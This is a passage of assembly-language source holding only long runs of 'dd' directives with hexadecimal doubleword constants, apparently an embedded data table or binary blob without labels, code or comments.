		dd 0E2C00074h, 0B5401EB1h, 50691900h, 9E8FC879h, 0CE080328h
		dd 579BB843h, 8E34D800h, 4236B265h, 69E100B5h, 0DC70423h
		dd 0D800E2C2h, 49C51797h, 4E2ED5B9h, 96B00048h,	9305E385h
		dd 3110DD09h, 76A08046h, 0B027D897h, 67AA00ACh,	0D6C6B335h
		dd 6EEA0589h, 0E00C76FEh, 0B0DDF837h, 0D76D07F4h, 0E040CB0Bh
		dd 949F3278h, 0B67B05FAh, 26F42017h, 0E9A28805h, 0FB0CB0h
		dd 0C6303422h, 0DD16B238h, 37AC0D00h, 0DE774E75h, 7DBE0341h
		dd 0E5F2DFA7h, 0AC618FE2h, 7012DC0Ch, 7CE6990Ah, 92008704h
		dd 0AFE48795h, 1A0F00B6h, 895612CDh, 0C70E8E11h, 0A4F2B822h
		dd 70E03E7Dh, 5040B18h,	27065044h, 0D0706C7h, 8EE03B4Fh
		dd 26C0B605h, 28CC010h,	0B951D3F9h, 88C80821h, 430B4F61h
		dd 0E246C4E3h, 5FB00238h, 0FCF151h, 0B4927E10h,	0A2244191h
		dd 5A870019h, 33571325h, 1C01000Eh, 48B6255h, 0AAA4C822h
		dd 2B2CD00Fh, 67003294h, 11590B75h, 72024E8Bh, 88C402A1h
		dd 0F5BF6498h, 0BE50AE60h, 76E47B54h, 0C244949Eh, 963E64F0h
		dd 0F0040840h, 2C79EB0Fh, 21442C5h, 2EBD904Bh, 644031BEh
		dd 0BB008077h, 0DB5E27AAh, 749A13h, 0F185083Bh,	0A0C5BFE1h
		dd 8018CF3Ah, 3A25E2BDh, 95801Dh, 91FFA527h, 67D94685h
		dd 8C2F7304h, 4B0A2DDh,	0B56602E2h, 0B8D0477h, 573AEC58h
		dd 0B86C009Bh, 0A0F87C1Eh, 0D3360064h, 3C536F49h, 6300B6F5h
		dd 0A77B0305h, 0C31FB30h, 0A0E8D6CEh, 5A86B8F1h, 5A7C00EBh
		dd 35E6A4AFh, 0BE02C500h, 0D84B37AEh, 4FC01979h, 0E0C36822h
		dd 0A85F4A7Eh, 33548C00h, 481CB256h, 0AF01DBCAh, 0B9712C1Bh
		dd 0B5C18831h, 4AA18E67h, 0A6FA1260h, 30B8F179h, 0A8F37C07h
		dd 60DC4DC8h, 0E8B20080h, 4712F611h, 261AE1A2h,	11FC5Bh
		dd 0A33F78E5h, 79FB00B5h, 0C103A818h, 2FF207C8h, 0EDF03800h
		dd 13BC72D1h, 0C404FEE4h, 47B8EAF8h, 7351BF6Ah,	1E709C6Bh
		dd 0ED7000EFh, 0D218AF78h, 0BD009B44h, 386342D9h, 0E28165B4h
		dd 0E1EB00A6h, 143A9896h, 0A09C596Ch, 0AF760400h, 18F57E6h
		dd 791CF907h, 604F3202h, 645CFB50h, 804739D1h, 5D41EFF4h
		dd 7FEAB7Ch, 517C27Eh, 2644D051h, 0C003BB9h, 1AE6E985h
		dd 7494291h, 0ADE45B14h, 0ABE830A0h, 0C700D3A5h, 17D0B484h
		dd 0A79AE9h, 9106B313h,	0AA11523Ch, 0E60A7301h,	0FD34374h
		dd 59A870h, 49B9D5D2h, 0ED0C5ADAh, 3E426400h, 50E03CACh
		dd 62390057h, 0B85C99Eh, 13001BDBh, 64232241h, 36BD214h
		dd 8747B6E3h, 2BC01A33h, 0E0C0D7DCh, 5994E055h,	0A7190007h
		dd 1DD51C29h, 6F3A7DDDh, 8096BCABh, 376A558Bh, 78DC56h
		dd 0C3D5B033h, 8A748544h, 88CC7600h, 0AE065852h, 4875005Ch
		dd 0EB30BAF5h, 710CF114h, 2ACD2374h, 0C8401C17h, 61BE40BBh
		dd 0C2F173C6h, 0C4004A5Ah, 87F4DCCAh, 86583B0Eh, 265DC100h
		dd 4BA81505h, 0FA0E6BE2h, 0E0BA2290h, 1E0103D0h, 0F5B90368h
		dd 0EFCC6008h, 57AC83E8h, 40F460BAh, 5A5E7B00h,	4E2D673Ah
		dd 35070106h, 0C0B8D595h, 0E5C6CCFBh, 16AE03Dh,	0A47F1B50h
		dd 31D84943h, 4E0D00FFh, 9F82346Ch, 88076B65h, 0DD287A9Bh
		dd 95CF0300h, 0CBB00745h, 80ADD9B8h, 397AA60Ah,	0F04C087Ah
		dd 8B5D01E8h, 1443B7AEh, 1E1DF5E0h, 0F86E7565h,	0A0CB6A00h
		dd 0FD892E3h, 0E4E27707h, 0EA70DF4Ah, 2D90FCh, 9C6E69D4h
		dd 0FF0446F0h, 0E6C0ED01h, 63BF824Ah, 91FDC0F2h, 0B3E30053h
		dd 0AB4F2EEFh, 0B5093E72h, 1F3131Ah, 559B3388h,	0FFC0783Ch
		dd 5ABE27A0h, 4DEB003h,	0A8862F01h, 346F6D0h, 6BE3A6EBh
		dd 80E8C6E9h, 2A90DBE5h, 0DDE7D505h, 8C8031AAh,	7A2DE3A1h
		dd 48D796Ah, 8FAC602Bh,	12A8F9E4h, 14927FE8h, 53DF20B3h
		dd 0F0096197h, 80AC6A18h, 380184ADh, 0AA850046h, 41B7DD94h
		dd 2100284Bh, 6EEB1CE1h, 1680D51h, 62FD1BCCh, 355E9B29h
		dd 1CA42148h, 0ED038A6Ch, 0AF416261h, 0B87800AEh, 5F9816C8h
		dd 0E9005392h, 0E7A4739Eh, 3BE84908h, 978943C3h, 48402319h
		dd 0C600B96Fh, 4577DF39h, 1C66C4EEh, 80A8EF9Bh,	99880F86h
		dd 0E61C845Dh, 0C39D25F2h
		dd 1B988E80h, 5B91EBh, 2BACB053h, 30AAD413h, 0DE2A2200h
		dd 0FB8AF0BCh, 95F2ADh,	0D33A3834h, 5CE3E5C4h, 97796003h
		dd 0D096A1B2h, 27F259D7h, 14607B0Eh, 50FAEB57h,	484F8800h
		dd 2D93FC31h, 0D246015Ch, 0CCEF6DB4h, 56903071h, 1BC2120h
		dd 6E49890h, 2080AE55h,	450B89D6h, 4E9D5D9h, 7EC3EA44h
		dd 77682E4Dh, 0F83EBEB4h, 803E08Ch, 0D103A410h,	0F1425E5Bh
		dd 0E38DD8FFh, 0B8DA7418h, 0CB33DB4h, 24C72F00h, 3432F6FAh
		dd 7CD48197h, 683A60ADh, 0BC3CA8ECh, 44005E7Bh,	1C97BA4Ah
		dd 2967034Bh, 0C8CE5B10h, 26E3C88h, 0DC000B4Eh,	98E2E1F6h
		dd 2AB10092h, 0E9A13323h, 0A81FB387h, 7D00C3EEh, 0A553C973h
		dd 504EFC0Ch, 0EE572C2Fh, 48B8E25Bh, 0F6003CE0h, 6317E7BCh
		dd 2122AE1h, 0D202FCD5h, 50B48B77h, 8775001Ch, 764C3928h
		dd 271FFB10h, 0C8A5C69Ch, 0BBF710h, 92A2578Dh, 30691AE0h
		dd 80AB3A28h, 0C112B179h, 0C438244h, 0A8260A3Fh, 887F9Bh
		dd 1E024192h, 5559CB20h, 2BE42700h, 0ABCFC423h,	4E710037h
		dd 0BA05CAF4h, 3000B347h, 2A8B7EB9h, 2E65C46h, 0CD0395A8h
		dd 68F03FA3h, 0B3E01C1Dh, 4C0C1883h, 0DA40F2D9h, 28953C58h
		dd 0E2E5A003h, 0A0F5C431h, 0C8005F44h, 3FB64121h, 73C932h
		dd 0FB3A4DF7h, 6951465Dh, 1A53C000h, 7C6B1290h,	207B3C15h
		dd 68357881h, 74210B70h, 9548ABE8h, 0C05C8E84h,	6F2A570Ah
		dd 0F01C5033h, 4C860788h, 0B48AD819h, 0D4ECDFh,	451E0662h
		dd 340D460h, 7CA72751h,	0DE90F3F6h, 0BD03F155h,	0E889ABA9h
		dd 332EE184h, 19D4BD0h,	0C4B75B90h, 2F258CB8h, 0EDFDD840h
		dd 7DA0FEh, 81B6A50Ah, 0FB3493BCh, 5382A100h, 1BE41924h
		dd 0D47B1D04h, 6AABC05Eh, 3DCCDB4Dh, 0A630A800h, 826D92Bh
		dd 9CF10A3Ah, 0FE2C04h,	1E14032Ah, 0BB26C287h, 68003AD7h
		dd 9701D35h, 3FD80759h,	60DA1703h, 0B02C3DD5h, 0ADDD9207h
		dd 48A24AE2h, 0A054DEh,	4B120CF5h, 0A42E7A56h, 0ED05AAAFh
		dd 2C808E53h, 3CEE0DD6h, 863D78E2h, 1F80323Dh, 0F882CDDCh
		dd 3004DC3h, 0EC917490h, 1265C194h, 85AC1Ch, 15C5E00Ch
		dd 0E70003F3h, 4582D1ADh, 3F6D7553h, 5005D50h, 90CFF4D5h
		dd 74969836h, 94119B02h, 0C0E054E7h, 8C595DBCh,	0F2803400h
		dd 29091266h, 9AB02C27h, 423F0192h, 0C4731F4Dh,	690203ECh
		dd 0CBA284D4h, 34DD8019h, 1CF52Fh, 483510B7h, 0EA9FB6FCh
		dd 0F002B01Dh, 0C60C7AC0h, 0FF1161E7h, 9E7E66C4h, 0BE6700B4h
		dd 0F2B2E54Fh, 8707207h, 54A0CFD3h, 0F822A981h,	6ACA031Bh
		dd 92B1883Ah, 416669F8h, 0AC80A65Ah, 2E00D89h, 0B46C35BCh
		dd 88D868AFh, 92771A1Eh, 0C0F38ECEh, 522EE88Fh,	0B0C40041h
		dd 831CCB1Dh, 1E039460h, 1F42E23Ch, 0F5A9B840h,	0B499009Bh
		dd 39151BB3h, 8F00A81Ah, 9F63E02Ah, 765DA957h, 89740005h
		dd 0A34D0B35h, 687C1411h, 645E9400h, 0AF5AE1E6h, 0E2A93015h
		dd 24113618h, 0B4357405h, 1848A442h, 59290103h,	0D081DCAFh
		dd 7C07151Ch, 7955BC80h, 0FA26C130h, 54760052h,	0BF963469h
		dd 0D328897Ah, 47B88CBh, 59BCA30Fh, 0FEFA00A1h,	7B33A496h
		dd 8F34005Eh, 7F357556h, 63B0EB80h, 94272416h, 70AE200Ch
		dd 51DA0008h, 36F1B17Ah, 8B126892h, 0E000C048h,	0A5677BE1h
		dd 625C0097h, 7004D9F0h, 5E765FB5h, 93525903h, 0E09598BDh
		dd 3F2B83h, 6A321C0Bh, 29949BC5h, 0CDE8E560h, 0E498A3B0h
		dd 47240BD7h, 0E880A613h, 4207D3C8h, 26C6106h, 3308A5Bh
		dd 0A0B8C1DDh, 10099C60h, 803758B1h, 8F8778C3h,	949D02CAh
		dd 621FEB04h, 146AE0F7h, 0C5C800E8h, 0B98C0D6Bh, 0DB307F76h
		dd 5C4D100Ch, 7EA615ACh, 50CC835h, 0CB39DE03h, 31F81201h
		dd 269E9AF5h, 0F09736C4h, 0E95503C6h, 173A677h,	165D9CD0h
		dd 406B2430h, 0BFF475h,	7BDF8667h, 740DF8A5h, 0AA5C1900h
		dd 0C792AFD0h, 26767562h, 5A7F459h, 0C9D4DA9h, 1F785B86h
		dd 90B9D02Ah, 5F209E05h, 82FA7AC7h, 1040F838h, 3CEED9BBh
		dd 0F9647907h, 65676003h, 0CD19C3AFh, 0B8589B0Dh, 3169488h
		dd 0F8AE8F1Bh, 8BFBDB69h, 9A2924C0h, 7641C200h,	0D0478EE9h
		dd 6BCA00E6h, 26840807h, 5F0052A4h, 2EC1DA0Ah, 78769828h
		dd 0F4E2005Eh, 9AC5E3F7h, 7100D55Ah, 0F50E728Ch, 0BAC81Dh
		dd 0DF6D8D25h, 0B9C29986h, 936A6B00h, 97DBB143h, 727400CBh
		dd 1E663A22h, 0A301519Ch, 0CCB9C760h, 2888962Dh, 0D88AD47h
		dd 0A905885Ch, 882EA888h, 4D80A003h, 9C145F16h,	3DE08499h
		dd 77082F89h, 225EE920h, 5622A82Dh, 8F4B4422h, 0B379D200h
		dd 0D6FEB429h, 0B5800078h, 0ACB6F857h, 7EF03701h, 26F279E2h
		dd 9F4138h, 810B4C04h, 0EE379897h, 0CDFF00FBh, 0EBD39E16h
		dd 11003F80h, 0F0AFD487h, 703C344h, 5920CE53h, 0F282102Bh
		dd 23001215h, 0CC977206h, 4148F09h, 38D38ED6h, 5D6A8054h
		dd 64007766h, 5FC7C58Bh, 0C68FEDh, 0AA72401h, 14898CD5h
		dd 0C3742CE6h, 0B8A10603h, 0B007FBA4h, 1A6622h,	0E803FF2h
		dd 8C945160h, 249E7D03h, 0D8BEED3Ah, 7097427h, 6A801BD3h
		dd 458653FFh, 685ADD90h, 0ADB1E500h, 7A152A54h,	1AB7C3Eh
		dd 5C36F6DCh, 0F03732F0h, 930097BBh, 0A7C252A0h, 3F47110h
		dd 8F11749Ch, 0C588A9D4h, 0CA00599Dh, 0F70C2191h, 0BA7140h
		dd 8B7692Dh, 0C4A74585h, 0EB0E3B1Ch, 513D0140h,	4C70D3h
		dd 27FC337Fh, 0F5D49CFEh, 4B5AE500h, 340864A6h,	0D3B00E83h
		dd 6D47238Ch, 1E11A180h, 663F306Fh, 1A02EA0Eh, 2A81A01Ch
		dd 11014BCh, 9E398B5Fh,	0FB6E41E6h, 0EDA11100h,	2367273Ch
		dd 0BD4600ACh, 0FEC02882h, 0B01CFD72h, 0A2C059E4h, 26AC1B90h
		dd 5D00077h, 0B5229341h, 9D07B44Dh, 73076020h, 307BFE80h
		dd 0CDC12C51h, 94090068h, 8AC9ED42h, 45BE1100h,	1A836FE7h
		dd 0F0C43D26h, 0C7DAC303h, 1F8D23BCh, 0A6D6808Fh, 0D0F6619Fh
		dd 7CFD2100h, 0CC6A0CA1h, 493400CBh, 0AABCDFE1h, 2D00770Fh
		dd 1BD7E253h, 7E84C6Eh,	99B6058Ch, 2ECC3088h, 0F5003DFBh
		dd 189B3E96h, 754BB390h, 0BBE0AEh, 0A531045Eh, 1D871F09h
		dd 1E76AD00h, 0B9E5B3FDh, 23B50090h, 0E8CE575Eh, 5FE49E08h
		dd 722AF200h, 6EED851Dh, 51A1002Fh, 0C0883CE7h,	0EC003675h
		dd 0F43102D1h, 66F30EDh, 0DBC11318h, 570C104Ah,	30AE19E3h
		dd 8F900011h, 1216AB67h, 7AFED259h, 0C6006576h,	27A06EB1h
		dd 0F7B979h, 8A4946A3h,	0FFFD88A8h, 21921C07h, 0BAB340E2h
		dd 54F1A81Fh, 12F0DAh, 0DFDD6289h, 571BB5EEh, 67BA51Dh
		dd 0DE5F80FCh, 0F9516C54h, 4344005Ch, 0BF207118h, 9400C7A2h
		dd 91D26859h, 0FF922Fh,	84EDB06Fh, 2D5C7489h, 962A1506h
		dd 1ECA4876h, 5F7B338h,	556BDDh, 0D246A7A0h, 3579B208h
		dd 1B328300h, 0FF077CD5h, 3D17550h, 5A67CDB5h, 0C4C8CB05h
		dd 161B5C92h, 1E28852Bh, 0F41711h, 96B6150Eh, 0D60055D1h
		dd 86E5CAC1h, 0AFC37Fh,	27FF6239h, 0A8426EE4h, 0E7046C71h
		dd 0B2E9B138h, 32CD5B80h, 1730007Fh, 0FDC90F3Ch, 0F000A6CBh
		dd 689B2080h, 1D23FA6Fh, 7A61268Dh, 13EAE800h, 0B64E6C89h
		dd 10391600h, 5AA8713Bh, 56870E1Eh, 0D6E3F197h,	8898F99Dh
		dd 0E700056Ah, 5CCE78BEh, 79C2922Eh, 4893035Ah,	0F4461E24h
		dd 2C557800h, 96DAADDh,	0E86B387Eh, 741700FFh, 93086C85h
		dd 0D4A8E50Bh, 0B171EE4Dh
		dd 28C57601h, 73C7D51Ah, 609D5BD4h, 0DDCB012h, 8100332Ah
		dd 0AA6AEE2Dh, 0FCD2825h, 5E66E706h, 0F93B8240h, 0A100D461h
		dd 99AEC035h, 7846F37h,	71BB7570h, 581ED089h, 0A6006C6Ah
		dd 554AA51h, 0F84A815Eh, 0B421004Eh, 4B9EAE10h,	300B1744h
		dd 807A6D7Fh, 33CD4DCh,	0A2A0004Eh, 0F271860Bh,	0C70069B2h
		dd 68C6248Ch, 2DF5AF5h,	3C30E67Eh, 0AC410BF0h, 0D590D3DDh
		dd 743C8246h, 59010055h, 428B1A92h, 2850112h, 620B9810h
		dd 0ED31E840h, 735E721Ch, 0CD835A40h, 0E0D6F1h,	5B5398A7h
		dd 0D191FC79h, 967EEF00h, 2730FFC5h, 3B127C85h,	469EBB83h
		dd 0A1D1007Fh, 0E503BE5Ah, 4F2A4500h, 0FF491666h, 73960E44h
		dd 0DE20E7B7h, 0FB2F335Bh, 3C910412h, 0E04C7E0Fh, 957EBDDDh
		dd 50F960EFh, 0B84DDBACh, 7B67EB00h, 421FD671h,	5F300319h
		dd 0F9F4EDD4h, 0A2C1F401h, 2355CEC5h, 1D7127ECh, 80D81BCCh
		dd 6DF4F366h, 91005D4Ch, 0B2E072E2h, 0F20BB562h, 770E8DAh
		dd 79B49D43h, 0E0D20758h, 0AB779818h, 2AD05217h, 809CA90Fh
		dd 7E91728Fh, 188909Ah,	871C3635h, 0E0A1ED71h, 80006FF6h
		dd 0CDFB0AC1h, 1F798A4Dh, 4038C31Eh, 464F44E4h,	0D00162Fh
		dd 0FC4E2047h, 5CE787DAh, 772C469h, 2144D5BBh, 80B41A14h
		dd 387DBFAh, 4A071A3Bh,	771EC581h, 5F487330h, 0EB80050h
		dd 120BFF52h, 0E1011B3Fh, 0FA9F1958h, 0B7E48EB6h, 703507F9h
		dd 71D7A014h, 0FCFDEB62h, 5F00CCC9h, 89B98691h,	744D3F92h
		dd 938B0995h, 2020BBD2h, 0E685E156h, 3E346B4Ch,	0C131230h
		dd 9C82B01Dh, 5FFE6463h, 0C81E4341h, 9093988h, 82CC5B70h
		dd 0C072D804h, 0F771F232h, 0FD20DC40h, 0EF1D00F0h, 7BBF5D79h
		dd 820CF5F1h, 31635F23h, 39B7F6CCh, 0E100FF05h,	17E84696h
		dd 8D007012h, 0EBF27F5Fh, 61C457h, 3DB78994h, 72BB9A90h
		dd 0B355DF07h, 0E8101DACh, 0D0069Bh, 6CA2341Eh,	451F3E75h
		dd 89A8F800h, 4164EB7Eh, 0E81560D5h, 60988D11h,	0E90F961Ch
		dd 44922A40h, 0B19AA64h, 8CD8B7FFh, 0A6EF1803h,	8E2DF6A8h
		dd 9C2FE100h, 89CFE438h, 4464003Bh, 0B9A5355Bh,	0A35074B5h
		dd 7B0EDAE0h, 2F41FFCAh, 0D22B802Eh, 0B8B89F47h, 39BB73A4h
		dd 0A2007AAAh, 8A127D98h, 0D001A956h, 916914DBh, 0DB4009AEh
		dd 5ECD679h, 980B0518h,	7EC80E56h, 94A24B09h, 9420A636h
		dd 39DBF424h, 81286796h, 0FB1D01BCh, 0A79C400Eh, 1211C4D5h
		dd 0A4DCA200h, 7BCD061Ch, 945800B2h, 0BB594668h, 74001226h
		dd 2EFD66EFh, 0E45A4E50h, 6296A095h, 322500A4h,	0B62C29D0h
		dd 0DE007797h, 0B45F536Dh, 1D830Bh, 2E512D28h, 0A31819DCh
		dd 2F6DA80Fh, 80646E33h, 96D61DFCh, 4D290032h, 758EB222h
		dd 5FF87C93h, 0CFF6C700h, 0F0179E5h, 0DB6B0BCBh, 0B780FEAFh
		dd 0A145995Eh, 58367F07h, 94CC750Dh, 78BC00B1h,	4331CE01h
		dd 0B2014A89h, 3AC204A4h, 0ADF890C9h, 0F0800EFh, 4D10EC86h
		dd 8E00416Eh, 2E471720h, 3CC59249h, 8405FB9Bh, 4085D5B6h
		dd 3D183AE0h, 0B4A8C307h, 300BC71h, 0D6CF377Eh,	545D9Bh
		dd 3B29F884h, 0F334CD6Dh, 2800AAF0h, 1FC5FA43h,	0A8B96F4Dh
		dd 488C4h, 20FBFDC7h, 63BA39FCh, 17570700h, 8ECD19E6h
		dd 0BBD0088h, 76EB4A9Eh, 28F6B14Eh, 32E4CF03h, 50C3F708h
		dd 1886439h, 0F243247Fh, 0F45BA91Ch, 0EC1FE279h, 0E396B00Ch
		dd 42D82C00h, 0E035FE7h, 953227F7h, 0BF665020h,	370058ADh
		dd 17F646EDh, 0EA3DF99h, 257DAC4Fh, 0C0CE7704h,	0DD05830Bh
		dd 6DD8B800h, 0AA4BAA6h, 949C07DBh, 93996C33h, 1CE0F236h
		dd 0C100B210h, 0A98428Ch, 2EA1BD4h, 5F95969Ah, 0EC865568h
		dd 2A05104Fh, 3BCE59F2h, 99BFCB80h, 347B0A7Fh, 80E82D50h
		dd 292065E9h, 0C107D7D1h, 4C4E629Ah, 0B7E1D5F0h, 655000A7h
		dd 0E5A62C37h, 5501B86Dh, 9F46BEEAh, 51F43EA0h,	29D258CEh
		dd 2EC79D01h, 40A2203Dh, 0DEC252E8h, 2900C891h,	1CA97C5h
		dd 429E0013h, 159ABB4Fh, 96F010CCh, 0D1678417h,	0D2B8C300h
		dd 4849E4h, 0DFBD7A56h,	516A1647h, 0CCE3EE24h, 499A1C00h
		dd 7167F63Eh, 9B24240Ch, 37A2CD4h, 0D18A4B29h, 70D0D3E9h
		dd 30BD898h, 81F9C3F1h,	78A56A30h, 0E6BBCFCh, 0F59669C6h
		dd 0B6E9D7E0h, 55005399h, 38C0D435h, 2F8B81Ah, 0E1CE5A59h
		dd 0A0E027ABh, 0A50B94D3h, 10A9F5E5h, 71565308h, 724600B3h
		dd 9F8779A4h, 9313BD3Bh, 200051D6h, 5735FF36h, 0DAB51D07h
		dd 0A3B183D3h, 2CF0858Dh, 0DF71C672h, 0AAF5FB00h, 787619Fh
		dd 83661DA9h, 0B201C050h, 39DD1A97h, 3B00F89Ah,	0BFAF606Ah
		dd 4F456Ch, 78AAF115h, 503DE3FAh, 2FFF5400h, 9E930741h
		dd 0C5890056h, 0E0C0D837h, 7F01E85Eh, 468199BBh, 2FDCBA40h
		dd 1C071F6Ch, 0EE9C0E86h, 0B5E0B82Fh, 0DFDD4289h, 9D55F707h
		dd 0ABB04150h, 0B7E8A9A8h, 2844C6C0h, 559ACE03h, 0C2713A98h
		dd 3E04862h, 947B002Dh,	539FED26h, 9C025086h, 0E9387DA6h
		dd 0E5B8830Eh, 0BC25B02Ah, 475091Ch, 5461A64Ch,	86B7109Ch
		dd 269826C5h, 40E31F90h, 0DA6E7C55h, 250083BCh,	39532F22h
		dd 0FA0E27h, 4A0B2876h,	8095A6DDh, 6C372A2Eh, 57D29B00h
		dd 3B4AB19h, 794E88EAh,	40CF5363h, 0CBE8F2E1h, 0AEA50400h
		dd 0C52CCDF0h, 886404F9h, 8014743Bh, 0E4A0941Ch, 0E78B2803h
		dd 0B8B76B9Ah, 1E1BDFEFh, 0C0FF91ADh, 703433C5h, 6B00DD32h
		dd 996253ACh, 1DC34965h, 80918152h, 2A4D1821h, 97001BA8h
		dd 86943EEBh, 3FCAADh, 79D0E549h, 5791D3E3h, 5437B300h
		dd 9286964Ch, 77160075h, 61803860h, 9006D66h, 0E56A6806h
		dd 0ECD96BEDh, 0DA056048h, 0BEFC99F8h, 0B702DB07h, 0B6446788h
		dd 310D3880h, 8F570039h, 0BE49BBB0h, 0F3005635h, 0EA030781h
		dd 1E408E0h, 0D3688D02h, 0CC95FD12h, 4F046046h,	0DFD8A225h
		dd 9C9F41C0h, 2E22005Ah, 8F492934h, 56008538h, 0EFFAA06Fh
		dd 23CD11h, 76874BDCh, 8CAF205Dh, 0F3912400h, 0B9BCA157h
		dd 0C35309BAh, 0AC000525h, 83FA0AA3h, 3B22C602h, 48442171h
		dd 0F15824h, 0CB52D1A8h, 0FDD66C8Ch, 4E00D7FAh,	3ACF7E55h
		dd 77370328h, 0E68E0030h, 5975E4AEh, 3B601368h,	3C0ACA19h
		dd 0A3E907DCh, 9C7D4Dh,	87DD98C8h, 0A9C2F304h, 0B0C0100Bh
		dd 8B1827h, 7B59CBD2h, 0CAB1A656h, 63BAF0Eh, 472F4373h
		dd 14299853h, 0E0D117FAh, 0B3C800E1h, 0EBEFBFD6h, 0FF2712F4h
		dd 205E4Bh, 0DD9637Ch, 0E6003F13h, 15FE5F6Fh, 35A6C16h
		dd 0C59F9A6Dh, 38F890C0h, 4BB0E1AAh, 75EA6907h,	0B11247A0h
		dd 0A3ED8096h, 0F8D812FDh, 1CFA0E4Ch, 0D920C55Dh, 2576196Eh
		dd 5C99E000h, 4DF36C18h, 0C6FD00CAh, 58EC4C10h,	54003407h
		dd 0D662B427h, 0E6B2152h, 9BEB2A19h, 0A4205980h, 0D226BDE3h
		dd 3726B422h, 87DAD000h, 4BE11Ah, 0DE919AF8h, 2197C71Dh
		dd 0AB732C00h, 0C29B856Ah, 557600C1h, 0EEEACBA2h, 8F0F1826h
		dd 54A599h, 948E896Fh, 77071848h, 7FDA8433h, 0AF8C1800h
		dd 0ED4B85A0h, 9364009Dh, 8F0F6A46h, 300A9B9h, 0FE3F9BE3h
		dd 9030CAh, 8A2FD53Ch, 98C08C1Ch, 0FFA37900h, 21830310h
		dd 862005Dh, 0AAE7D882h, 0A4007436h, 6EC7982Ch,	0ECC185Fh
		dd 0F1D945Dh, 89618C00h, 650027F9h, 0BDFEE7DFh,	0F93220E3h
		dd 0F11B1E0h, 0C20A2E75h, 24F94C63h, 16CF7C88h,	4E654D00h
		dd 5618C506h, 3F7898h
		dd 34D579E2h, 6049E080h, 0A3BA1200h, 76EF38E4h,	67290061h
		dd 58B95ADh, 930B0824h,	8014905Ch, 682D8EB6h, 381C000Ah
		dd 81BFF8D5h, 8C004B6Fh, 0D21BE152h, 4060EFh, 19DE5B54h
		dd 9A6CDBD6h, 0F30025FEh, 0D1BD7C0Fh, 7853FE17h, 0F71A4C4Fh
		dd 34820078h, 49C6C905h, 391E5C88h, 128DAF31h, 0E9E08041h
		dd 6462F0B4h, 40921A4h,	0D142052Ah, 0EF60FEB4h,	0D67BCADFh
		dd 43D89B00h, 111BF61Ch, 0C8CF60A9h, 0F3F81A3Ah, 3CD4B43Ah
		dd 6F3E93h, 4EE3E7C9h, 0F844B566h, 4FC0034h, 0D0741CC1h
		dd 0BD0240D1h, 0E5BAAEB2h, 6424026h, 0D9E9242Dh, 585D180Eh
		dd 0F900D36Fh, 0F3E850A1h, 0E8F0D879h, 1DE34CE5h, 0A4A62Ah
		dd 135DD23Fh, 0DAC0AFA1h, 3E306C1Fh, 70456A00h,	36ECDD5h
		dd 0D4A3C79Eh, 19C8921Dh, 7E00D735h, 0D27127FBh, 0C155BFh
		dd 7A20F007h, 0ABA803EDh, 0C93E4600h, 0A47B1238h, 4B1D0587h
		dd 7E94E69h, 60E268CFh,	34366471h, 0E85B4724h, 3E051300h
		dd 0F1E4378h, 0D61CD9E7h, 0A3B001FCh, 0D09EC13Fh, 5C3A9ABCh
		dd 0E554004Dh, 52F9333Ch, 72760390h, 0C887670Ch, 50A1CBC9h
		dd 6A1520C4h, 0E2A3C601h, 0F6FBCC45h, 918330h, 1817042Ch
		dd 0A3C5F706h, 8A289339h, 20E421EAh, 8CF73370h,	0D9A5CD0Ah
		dd 5785B850h, 0AC45AB1Dh, 0F05FE2D3h, 1191CE02h, 0FC14803Bh
		dd 7A1F7FB4h, 0CF0107E9h, 430653D1h, 200297D9h,	747F6C9Dh
		dd 80F2C289h, 0DCDA1EE7h, 0BAA2181Ch, 17EF59D1h, 0C1263605h
		dd 8C079746h, 8879B51h,	0C85204Ch, 0D4C26E5Ch, 0F998CF31h
		dd 8E27700h, 984EA1FCh,	0C069E8F3h, 0D8C65D21h,	8300BB1Ah
		dd 7ADE154Ch, 55BE1816h, 0E08890A6h, 3C02884Eh,	44D9C192h
		dd 321A0F24h, 1689C813h, 94B56403h, 31D10830h, 0A132B75h
		dd 55036E9Eh, 6D858084h, 83F79495h, 701A0FEh, 32FB7328h
		dd 0F0416420h, 0D313FFCCh, 90A097C2h, 0DB875B3Ch, 9C9B0C1Bh
		dd 312AE061h, 0DD78A0DAh, 7D19C065h, 64C1CB0Dh,	0C7FBD000h
		dd 0B2B9DFDh, 0D7CD0038h, 932CE5F1h, 20E0C371h,	6A6D181Dh
		dd 0C3FAB07h, 0A0C07687h, 38C3BC2h, 0A39AC58Bh,	830DD83h
		dd 0CACD2154h, 7B701C3Bh, 77DAC048h, 6F7CC7Ah, 9271AA06h
		dd 0E0281DE8h, 0DF4C0080h, 27DB75Eh, 0B53A9F04h, 21C27503h
		dd 0FDE4A5D3h, 0FAC17280h, 0FD18F42Ch, 6B201993h, 0D5D00A1h
		dd 958E2FEDh, 3500F320h, 286AE447h, 74F7926h, 585D6663h
		dd 96D04CFAh, 3A4D8C1Fh, 1DA48A81h, 88C63F1h, 0BB2067EAh
		dd 0EB4D9403h, 0C0321E7h, 0F92B37D1h, 4F007E41h, 919CC15h
		dd 33D89CE4h, 792807B9h, 0A3DEC380h, 5F40C783h,	3D94C59h
		dd 25F5746Ch, 0CCA37DC4h, 17622100h, 0BF996659h, 750A03A4h
		dd 0FDF1C906h, 2DDAE9D0h, 0F150456Eh, 2C838A00h, 37E81290h
		dd 740DF138h, 0D001EA28h, 1676A446h, 108B893Bh,	0AADCD014h
		dd 27C6249Ch, 157000B5h, 0B03932A4h, 55A70205h,	2420A520h
		dd 23923B3Ch, 9F11B58Bh, 3BC4C700h, 0DB271A46h,	62BFEE00h
		dd 15558C93h, 897000Fh,	8A16206Dh, 0A3041801h, 3371ABA4h
		dd 4A90098h, 0B5B75BE4h, 24E02C03h, 0A2E4A6h, 1FA41771h
		dd 0E602B151h, 7887AE33h, 0F0DC902Ah, 35B70017h, 1B319854h
		dd 0CB00FC61h, 0E303871h, 0E02AEAAh, 5AF53F10h,	0D088D8B4h
		dd 0A95958C0h, 7DC421D6h, 8300D091h, 61785910h,	0F454570Ah
		dd 9D00A3CCh, 0D769FE6Eh, 0D69108h, 0CCF1F5C0h,	0EE5F75DAh
		dd 38ACC600h, 70BB69E6h, 1080E964h, 54E19508h, 35EC7DE7h
		dd 8666F31h, 209F6AECh,	9CE1002Bh, 0DE720BB4h, 23F7CF1Dh
		dd 7EAB7880h, 7D486F55h, 0B03F0525h, 399EABBh, 0F9042DEBh
		dd 0E0E831D1h, 0E6002836h, 0B74E9109h, 3FF2109Dh, 0E2804BDAh
		dd 0A4CD47D9h, 9A3871B6h, 2B5A866Bh, 74B0EF26h,	44931BC2h
